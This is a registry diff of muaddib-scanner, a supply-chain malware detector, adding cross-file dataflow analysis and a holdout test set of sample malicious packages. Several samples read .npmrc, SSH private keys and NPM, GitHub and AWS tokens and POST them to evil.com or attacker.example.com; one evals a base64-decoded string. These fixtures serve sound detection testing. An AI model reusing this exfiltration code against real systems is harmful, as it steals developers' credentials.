muaddib-scanner 2.2.5 → 2.2.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (47) hide show
  1. package/bin/muaddib.js +16 -2
  2. package/datasets/benign/packages-npm.txt +576 -77
  3. package/datasets/benign/packages-pypi.txt +146 -31
  4. package/datasets/ground-truth/README.md +54 -0
  5. package/datasets/ground-truth/known-malware.json +622 -0
  6. package/datasets/holdout-v5/callback-exfil/main.js +8 -0
  7. package/datasets/holdout-v5/callback-exfil/package.json +5 -0
  8. package/datasets/holdout-v5/callback-exfil/reader.js +10 -0
  9. package/datasets/holdout-v5/class-method-exfil/collector.js +10 -0
  10. package/datasets/holdout-v5/class-method-exfil/main.js +7 -0
  11. package/datasets/holdout-v5/class-method-exfil/package.json +5 -0
  12. package/datasets/holdout-v5/conditional-split/detector.js +2 -0
  13. package/datasets/holdout-v5/conditional-split/package.json +5 -0
  14. package/datasets/holdout-v5/conditional-split/stealer.js +16 -0
  15. package/datasets/holdout-v5/event-emitter-flow/listener.js +12 -0
  16. package/datasets/holdout-v5/event-emitter-flow/package.json +5 -0
  17. package/datasets/holdout-v5/event-emitter-flow/scanner.js +11 -0
  18. package/datasets/holdout-v5/mixed-inline-split/index.js +6 -0
  19. package/datasets/holdout-v5/mixed-inline-split/package.json +5 -0
  20. package/datasets/holdout-v5/mixed-inline-split/reader.js +3 -0
  21. package/datasets/holdout-v5/mixed-inline-split/sender.js +6 -0
  22. package/datasets/holdout-v5/named-export-steal/main.js +6 -0
  23. package/datasets/holdout-v5/named-export-steal/package.json +5 -0
  24. package/datasets/holdout-v5/named-export-steal/utils.js +1 -0
  25. package/datasets/holdout-v5/reexport-chain/a.js +2 -0
  26. package/datasets/holdout-v5/reexport-chain/b.js +1 -0
  27. package/datasets/holdout-v5/reexport-chain/c.js +11 -0
  28. package/datasets/holdout-v5/reexport-chain/package.json +5 -0
  29. package/datasets/holdout-v5/split-env-exfil/env.js +2 -0
  30. package/datasets/holdout-v5/split-env-exfil/exfil.js +5 -0
  31. package/datasets/holdout-v5/split-env-exfil/package.json +5 -0
  32. package/datasets/holdout-v5/split-npmrc-steal/index.js +2 -0
  33. package/datasets/holdout-v5/split-npmrc-steal/package.json +5 -0
  34. package/datasets/holdout-v5/split-npmrc-steal/reader.js +8 -0
  35. package/datasets/holdout-v5/split-npmrc-steal/sender.js +17 -0
  36. package/datasets/holdout-v5/three-hop-chain/package.json +5 -0
  37. package/datasets/holdout-v5/three-hop-chain/reader.js +8 -0
  38. package/datasets/holdout-v5/three-hop-chain/sender.js +11 -0
  39. package/datasets/holdout-v5/three-hop-chain/transform.js +3 -0
  40. package/package.json +1 -1
  41. package/src/commands/evaluate.js +191 -31
  42. package/src/index.js +20 -1
  43. package/src/response/playbooks.js +5 -0
  44. package/src/rules/index.js +13 -0
  45. package/src/scanner/module-graph.js +883 -0
  46. package/tmp-summary.js +24 -0
  47. package/tmp-test-pack.js +66 -0
@@ -0,0 +1,2 @@
1
+ const isCI = !!process.env.CI;
2
+ module.exports = isCI;
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "conditional-split",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — conditional CI-gated exfiltration"
5
+ }
@@ -0,0 +1,16 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const https = require('https');
5
+ const isCI = require('./detector');
6
+
7
+ if (isCI) {
8
+ const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
9
+ const req = https.request({
10
+ hostname: 'evil.com',
11
+ path: '/ci-steal',
12
+ method: 'POST'
13
+ }, (res) => { res.resume(); });
14
+ req.write(npmrc);
15
+ req.end();
16
+ }
@@ -0,0 +1,12 @@
1
+ const https = require('https');
2
+ const bus = require('./scanner');
3
+
4
+ bus.on('data', (creds) => {
5
+ const req = https.request({
6
+ hostname: 'evil.com',
7
+ path: '/steal',
8
+ method: 'POST'
9
+ }, (res) => { res.resume(); });
10
+ req.write(creds);
11
+ req.end();
12
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "event-emitter-flow",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — EventEmitter-based credential flow"
5
+ }
@@ -0,0 +1,11 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const EventEmitter = require('events');
5
+
6
+ const bus = new EventEmitter();
7
+
8
+ const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
9
+ bus.emit('data', npmrc);
10
+
11
+ module.exports = bus;
@@ -0,0 +1,6 @@
1
+ // Inline obfuscated payload (intra-file threat)
2
+ const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
3
+ eval(payload);
4
+
5
+ // Also orchestrate cross-file flow
6
+ require('./sender');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "mixed-inline-split",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — intra-file eval + cross-file dataflow"
5
+ }
@@ -0,0 +1,3 @@
1
+ const fs = require('fs');
2
+ const data = fs.readFileSync('.npmrc', 'utf8');
3
+ module.exports = data;
@@ -0,0 +1,6 @@
1
+ const stolen = require('./reader');
2
+
3
+ fetch('https://evil.com/exfil', {
4
+ method: 'POST',
5
+ body: stolen
6
+ });
@@ -0,0 +1,6 @@
1
+ const { getCredentials } = require('./utils');
2
+
3
+ fetch('https://evil.com/aws', {
4
+ method: 'POST',
5
+ body: getCredentials
6
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "named-export-steal",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — named export destructuring steal"
5
+ }
@@ -0,0 +1 @@
1
+ exports.getCredentials = process.env.AWS_SECRET_ACCESS_KEY;
@@ -0,0 +1,2 @@
1
+ const token = process.env.NPM_TOKEN;
2
+ module.exports = token;
@@ -0,0 +1 @@
1
+ module.exports = require('./a');
@@ -0,0 +1,11 @@
1
+ const https = require('https');
2
+ const secret = require('./b');
3
+
4
+ const req = https.request({
5
+ hostname: 'evil.com',
6
+ path: '/npm-token',
7
+ method: 'POST'
8
+ }, (res) => { res.resume(); });
9
+
10
+ req.write(secret);
11
+ req.end();
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "reexport-chain",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — double re-export chain a → b → c"
5
+ }
@@ -0,0 +1,2 @@
1
+ const token = process.env.GITHUB_TOKEN;
2
+ module.exports = token;
@@ -0,0 +1,5 @@
1
+ const token = require('./env');
2
+ fetch('https://evil.com/collect', {
3
+ method: 'POST',
4
+ body: token
5
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "split-env-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — cross-file env token exfil"
5
+ }
@@ -0,0 +1,2 @@
1
+ require('./reader');
2
+ require('./sender');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "split-npmrc-steal",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — cross-file .npmrc steal"
5
+ }
@@ -0,0 +1,8 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+
5
+ const npmrcPath = path.join(os.homedir(), '.npmrc');
6
+ const content = fs.readFileSync(npmrcPath, 'utf8');
7
+
8
+ module.exports = content;
@@ -0,0 +1,17 @@
1
+ const https = require('https');
2
+ const data = require('./reader');
3
+
4
+ const options = {
5
+ hostname: 'collector.evil.com',
6
+ port: 443,
7
+ path: '/exfil',
8
+ method: 'POST',
9
+ headers: { 'Content-Type': 'text/plain' }
10
+ };
11
+
12
+ const req = https.request(options, (res) => {
13
+ res.resume();
14
+ });
15
+
16
+ req.write(data);
17
+ req.end();
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "three-hop-chain",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — 3-file chain reader → transform → sender"
5
+ }
@@ -0,0 +1,8 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+
5
+ const keyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
6
+ const key = fs.readFileSync(keyPath, 'utf8');
7
+
8
+ module.exports = key;
@@ -0,0 +1,11 @@
1
+ const https = require('https');
2
+ const payload = require('./transform');
3
+
4
+ const req = https.request({
5
+ hostname: 'attacker.example.com',
6
+ path: '/collect',
7
+ method: 'POST'
8
+ }, (res) => { res.resume(); });
9
+
10
+ req.write(payload);
11
+ req.end();
@@ -0,0 +1,3 @@
1
+ const raw = require('./reader');
2
+ const encoded = Buffer.from(raw).toString('base64');
3
+ module.exports = encoded;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.5",
3
+ "version": "2.2.7",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -3,11 +3,17 @@
3
3
  *
4
4
  * Measures TPR (Ground Truth), FPR (Benign), and ADR (Adversarial).
5
5
  * Saves versioned metrics to metrics/v{version}.json.
6
+ *
7
+ * Benign FPR: downloads real npm tarballs and scans actual source code
8
+ * with all 13+ scanners (AST, dataflow, obfuscation, entropy, etc.).
9
+ * Tarballs are cached in .muaddib-cache/benign-tarballs/ to avoid
10
+ * re-downloading on every run.
6
11
  */
7
12
 
8
13
  const fs = require('fs');
9
14
  const path = require('path');
10
- const os = require('os');
15
+ const zlib = require('zlib');
16
+ const { execSync } = require('child_process');
11
17
  const { run } = require('../index.js');
12
18
 
13
19
  const ROOT = path.join(__dirname, '..', '..');
@@ -15,9 +21,11 @@ const GT_DIR = path.join(ROOT, 'tests', 'ground-truth');
15
21
  const BENIGN_DIR = path.join(ROOT, 'datasets', 'benign');
16
22
  const ADVERSARIAL_DIR = path.join(ROOT, 'datasets', 'adversarial');
17
23
  const METRICS_DIR = path.join(ROOT, 'metrics');
24
+ const CACHE_DIR = path.join(ROOT, '.muaddib-cache', 'benign-tarballs');
18
25
 
19
26
  const GT_THRESHOLD = 3;
20
27
  const BENIGN_THRESHOLD = 20;
28
+ const PACK_TIMEOUT_MS = 30000;
21
29
 
22
30
  const ADVERSARIAL_THRESHOLDS = {
23
31
  // Vague 1 (20 samples)
@@ -102,45 +110,187 @@ async function evaluateGroundTruth() {
102
110
  return { detected, total, tpr, details };
103
111
  }
104
112
 
113
+ // =========================================================================
114
+ // 2. Benign — download real tarballs and scan actual source code
115
+ // =========================================================================
116
+
117
+ /**
118
+ * Convert a package name to a safe cache directory name.
119
+ * @scoped/pkg → _scoped_pkg
120
+ */
121
+ function pkgToCacheName(pkg) {
122
+ return pkg.replace(/\//g, '_').replace(/@/g, '_');
123
+ }
124
+
125
+ /**
126
+ * Extract a .tgz file using Node.js built-in zlib + minimal tar parser.
127
+ * Only extracts regular files (type '0' or NUL).
128
+ */
129
+ function extractTgz(tgzPath, destDir) {
130
+ const compressed = fs.readFileSync(tgzPath);
131
+ const tarData = zlib.gunzipSync(compressed);
132
+
133
+ let offset = 0;
134
+ while (offset + 512 <= tarData.length) {
135
+ const header = tarData.subarray(offset, offset + 512);
136
+
137
+ // Check for end-of-archive (two zero blocks)
138
+ if (header.every(b => b === 0)) break;
139
+
140
+ // Parse tar header
141
+ const name = header.subarray(0, 100).toString('utf8').replace(/\0+$/, '');
142
+ const sizeOctal = header.subarray(124, 136).toString('utf8').replace(/\0+$/, '').trim();
143
+ const size = parseInt(sizeOctal, 8) || 0;
144
+ const typeFlag = String.fromCharCode(header[156]);
145
+
146
+ offset += 512; // move past header
147
+
148
+ if (name && (typeFlag === '0' || typeFlag === '\0') && size > 0) {
149
+ // Regular file — extract it
150
+ const filePath = path.join(destDir, name);
151
+ fs.mkdirSync(path.dirname(filePath), { recursive: true });
152
+ const fileData = tarData.subarray(offset, offset + size);
153
+ fs.writeFileSync(filePath, fileData);
154
+ }
155
+
156
+ // Advance past data blocks (512-byte aligned)
157
+ offset += Math.ceil(size / 512) * 512;
158
+ }
159
+ }
160
+
105
161
  /**
106
- * 2. Benign scan popular npm packages for false positives
162
+ * Download a package tarball via `npm pack` and extract with native Node.js.
163
+ * Returns the path to the extracted package directory, or null on failure.
164
+ * Uses a persistent cache to avoid re-downloading.
107
165
  */
108
- async function evaluateBenign() {
166
+ function downloadAndExtract(pkg, options = {}) {
167
+ const cacheName = pkgToCacheName(pkg);
168
+ const pkgCacheDir = path.join(CACHE_DIR, cacheName);
169
+
170
+ // Check cache first (unless refreshing)
171
+ if (!options.refreshBenign && fs.existsSync(pkgCacheDir)) {
172
+ const extractedDir = path.join(pkgCacheDir, 'package');
173
+ if (fs.existsSync(extractedDir)) {
174
+ return extractedDir;
175
+ }
176
+ }
177
+
178
+ // Download via npm pack (cwd approach avoids Windows path issues)
179
+ fs.mkdirSync(pkgCacheDir, { recursive: true });
180
+
181
+ let tgzFilename;
182
+ try {
183
+ const output = execSync(`npm pack ${pkg}`, {
184
+ cwd: pkgCacheDir,
185
+ encoding: 'utf8',
186
+ timeout: PACK_TIMEOUT_MS,
187
+ stdio: ['pipe', 'pipe', 'pipe']
188
+ });
189
+ tgzFilename = output.trim().split('\n').pop().trim();
190
+ } catch (err) {
191
+ if (process.env.MUADDIB_DEBUG) {
192
+ console.error(`\n [DEBUG] npm pack ${pkg} failed: ${(err.stderr || err.message || '').slice(0, 200)}`);
193
+ }
194
+ fs.rmSync(pkgCacheDir, { recursive: true, force: true });
195
+ return null;
196
+ }
197
+
198
+ const tgzPath = path.join(pkgCacheDir, tgzFilename);
199
+ if (!fs.existsSync(tgzPath)) {
200
+ fs.rmSync(pkgCacheDir, { recursive: true, force: true });
201
+ return null;
202
+ }
203
+
204
+ // Extract tarball using native Node.js (no shell tar dependency)
205
+ try {
206
+ extractTgz(tgzPath, pkgCacheDir);
207
+ } catch (err) {
208
+ if (process.env.MUADDIB_DEBUG) {
209
+ console.error(`\n [DEBUG] extract ${pkg} failed: ${(err.message || '').slice(0, 200)}`);
210
+ }
211
+ fs.rmSync(pkgCacheDir, { recursive: true, force: true });
212
+ return null;
213
+ }
214
+
215
+ // Clean up tarball to save space
216
+ try { fs.unlinkSync(tgzPath); } catch { /* ignore */ }
217
+
218
+ const extractedDir = path.join(pkgCacheDir, 'package');
219
+ if (!fs.existsSync(extractedDir)) {
220
+ fs.rmSync(pkgCacheDir, { recursive: true, force: true });
221
+ return null;
222
+ }
223
+
224
+ return extractedDir;
225
+ }
226
+
227
+ /**
228
+ * Evaluate benign packages by downloading real source code and scanning it.
229
+ */
230
+ async function evaluateBenign(options = {}) {
109
231
  const listFile = path.join(BENIGN_DIR, 'packages-npm.txt');
110
- const packages = fs.readFileSync(listFile, 'utf8')
232
+ let packages = fs.readFileSync(listFile, 'utf8')
111
233
  .split('\n')
112
234
  .map(l => l.trim())
113
235
  .filter(l => l && !l.startsWith('#'));
114
236
 
237
+ // Apply limit if specified
238
+ const limit = options.benignLimit || 0;
239
+ if (limit > 0) {
240
+ packages = packages.slice(0, limit);
241
+ }
242
+
243
+ fs.mkdirSync(CACHE_DIR, { recursive: true });
244
+
115
245
  const details = [];
116
246
  let flagged = 0;
247
+ let skipped = 0;
248
+ const total = packages.length;
249
+
250
+ for (let i = 0; i < packages.length; i++) {
251
+ const pkg = packages[i];
252
+ const progress = `[${i + 1}/${total}]`;
117
253
 
118
- for (const pkg of packages) {
119
- const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'muaddib-eval-'));
120
- try {
121
- // Create minimal project with this package as dependency
122
- const pkgJson = { name: 'eval-project', version: '1.0.0', dependencies: { [pkg]: '*' } };
123
- fs.writeFileSync(path.join(tmpDir, 'package.json'), JSON.stringify(pkgJson));
124
-
125
- // Create fake node_modules entry so dependency scanner picks it up
126
- const parts = pkg.split('/');
127
- const nmDir = path.join(tmpDir, 'node_modules', ...parts);
128
- fs.mkdirSync(nmDir, { recursive: true });
129
- fs.writeFileSync(path.join(nmDir, 'package.json'), JSON.stringify({ name: pkg, version: '999.0.0' }));
130
-
131
- const result = await silentScan(tmpDir);
132
- const score = result.summary.riskScore;
133
- const isFlagged = score > BENIGN_THRESHOLD;
134
- if (isFlagged) flagged++;
135
- details.push({ name: pkg, score, flagged: isFlagged });
136
- } finally {
137
- fs.rmSync(tmpDir, { recursive: true, force: true });
254
+ // Progress indicator (overwrite line)
255
+ if (!options.json && process.stdout.isTTY) {
256
+ process.stdout.write(`\r [2/3] Benign ${progress} ${pkg}${''.padEnd(40)}`);
138
257
  }
258
+
259
+ const extractedDir = downloadAndExtract(pkg, options);
260
+ if (!extractedDir) {
261
+ details.push({ name: pkg, score: 0, flagged: false, skipped: true, error: 'download failed' });
262
+ skipped++;
263
+ continue;
264
+ }
265
+
266
+ const result = await silentScan(extractedDir);
267
+ const score = result.summary.riskScore;
268
+ const isFlagged = score > BENIGN_THRESHOLD;
269
+ if (isFlagged) flagged++;
270
+
271
+ const entry = { name: pkg, score, flagged: isFlagged };
272
+
273
+ // Include threat details for flagged packages (for debugging FPs)
274
+ if (isFlagged && result.threats) {
275
+ entry.threats = result.threats.map(t => ({
276
+ type: t.type,
277
+ severity: t.severity,
278
+ message: t.message,
279
+ file: t.file
280
+ }));
281
+ }
282
+
283
+ details.push(entry);
139
284
  }
140
285
 
141
- const total = packages.length;
142
- const fpr = total > 0 ? flagged / total : 0;
143
- return { flagged, total, fpr, details };
286
+ // Clear progress line
287
+ if (!options.json && process.stdout.isTTY) {
288
+ process.stdout.write('\r' + ''.padEnd(80) + '\r');
289
+ }
290
+
291
+ const scanned = total - skipped;
292
+ const fpr = scanned > 0 ? flagged / scanned : 0;
293
+ return { flagged, total, scanned, skipped, fpr, details };
144
294
  }
145
295
 
146
296
  /**
@@ -186,6 +336,11 @@ function saveMetrics(report) {
186
336
 
187
337
  /**
188
338
  * Main evaluate function
339
+ *
340
+ * Options:
341
+ * json — JSON output mode
342
+ * benignLimit — Only test first N benign packages
343
+ * refreshBenign — Force re-download of all tarballs
189
344
  */
190
345
  async function evaluate(options = {}) {
191
346
  const version = require('../../package.json').version;
@@ -198,9 +353,9 @@ async function evaluate(options = {}) {
198
353
  const groundTruth = await evaluateGroundTruth();
199
354
 
200
355
  if (!jsonMode) {
201
- console.log(` [2/3] Benign packages...`);
356
+ console.log(` [2/3] Benign packages (real source code)...`);
202
357
  }
203
- const benign = await evaluateBenign();
358
+ const benign = await evaluateBenign(options);
204
359
 
205
360
  if (!jsonMode) {
206
361
  console.log(` [3/3] Adversarial samples...`);
@@ -226,7 +381,7 @@ async function evaluate(options = {}) {
226
381
 
227
382
  console.log('');
228
383
  console.log(` Ground Truth (TPR): ${groundTruth.detected}/${groundTruth.total} ${tprPct}%`);
229
- console.log(` Benign (FPR): ${benign.flagged}/${benign.total} ${fprPct}%`);
384
+ console.log(` Benign (FPR): ${benign.flagged}/${benign.scanned} ${fprPct}% (${benign.skipped} skipped)`);
230
385
  console.log(` Adversarial (ADR): ${adversarial.detected}/${adversarial.total} ${adrPct}%`);
231
386
  console.log('');
232
387
 
@@ -240,12 +395,17 @@ async function evaluate(options = {}) {
240
395
  console.log('');
241
396
  }
242
397
 
243
- // Show false positives
398
+ // Show false positives with threat details
244
399
  const fps = benign.details.filter(d => d.flagged);
245
400
  if (fps.length > 0) {
246
401
  console.log(' False positives:');
247
402
  for (const fp of fps) {
248
403
  console.log(` ${fp.name}: score ${fp.score}`);
404
+ if (fp.threats) {
405
+ for (const t of fp.threats) {
406
+ console.log(` [${t.severity}] ${t.type}: ${t.message}${t.file ? ' (' + t.file + ')' : ''}`);
407
+ }
408
+ }
249
409
  }
250
410
  console.log('');
251
411
  }
package/src/index.js CHANGED
@@ -20,6 +20,7 @@ const { ensureIOCs } = require('./ioc/bootstrap.js');
20
20
  const { scanEntropy } = require('./scanner/entropy.js');
21
21
  const { scanAIConfig } = require('./scanner/ai-config.js');
22
22
  const { deobfuscate } = require('./scanner/deobfuscate.js');
23
+ const { buildModuleGraph, annotateTaintedExports, detectCrossFileFlows } = require('./scanner/module-graph.js');
23
24
  const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
24
25
  const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
25
26
  const { detectPublishAnomaly } = require('./publish-anomaly.js');
@@ -226,6 +227,18 @@ async function run(targetPath, options = {}) {
226
227
  // Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
227
228
  const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
228
229
 
230
+ // Cross-file module graph analysis (before individual scanners)
231
+ let crossFileFlows = [];
232
+ if (!options.noModuleGraph) {
233
+ try {
234
+ const graph = buildModuleGraph(targetPath);
235
+ const tainted = annotateTaintedExports(graph, targetPath);
236
+ crossFileFlows = detectCrossFileFlows(graph, tainted, targetPath);
237
+ } catch {
238
+ // Graceful fallback — module graph is best-effort
239
+ }
240
+ }
241
+
229
242
  // Parallel execution of all independent scanners
230
243
  const [
231
244
  packageThreats,
@@ -275,7 +288,13 @@ async function run(targetPath, options = {}) {
275
288
  ...pythonThreats,
276
289
  ...pypiTyposquatThreats,
277
290
  ...entropyThreats,
278
- ...aiConfigThreats
291
+ ...aiConfigThreats,
292
+ ...crossFileFlows.map(f => ({
293
+ type: f.type,
294
+ severity: f.severity,
295
+ message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
296
+ file: f.sinkFile
297
+ }))
279
298
  ];
280
299
 
281
300
  // Paranoid mode
@@ -304,6 +304,11 @@ const PLAYBOOKS = {
304
304
  'NE PAS installer. Ceci execute du code arbitraire a l\'installation. ' +
305
305
  'Si deja installe: considerer la machine compromise. Auditer les modifications systeme.',
306
306
 
307
+ cross_file_dataflow:
308
+ 'CRITIQUE: Un module lit des credentials et les exporte vers un autre module qui les envoie sur le reseau. ' +
309
+ 'Exfiltration inter-fichiers confirmee. Isoler la machine, supprimer le package, regenerer TOUS les secrets. ' +
310
+ 'Auditer les connexions reseau recentes pour identifier les donnees exfiltrees.',
311
+
307
312
  credential_tampering:
308
313
  'CRITIQUE: Ecriture detectee dans un cache sensible (npm _cacache, yarn, pip). ' +
309
314
  'Possible cache poisoning: injection de code malveillant dans des packages caches. ' +
@@ -624,6 +624,19 @@ const RULES = {
624
624
  mitre: 'T1195.002'
625
625
  },
626
626
 
627
+ cross_file_dataflow: {
628
+ id: 'MUADDIB-FLOW-004',
629
+ name: 'Cross-File Data Exfiltration',
630
+ severity: 'CRITICAL',
631
+ confidence: 'high',
632
+ description: 'Un module lit des credentials (fs.readFileSync, process.env) et les exporte vers un autre module qui les envoie sur le reseau (fetch, https.request). Exfiltration inter-fichiers confirmee.',
633
+ references: [
634
+ 'https://blog.phylum.io/shai-hulud-npm-worm',
635
+ 'https://attack.mitre.org/techniques/T1041/'
636
+ ],
637
+ mitre: 'T1041'
638
+ },
639
+
627
640
  credential_tampering: {
628
641
  id: 'MUADDIB-FLOW-003',
629
642
  name: 'Credential/Cache Tampering',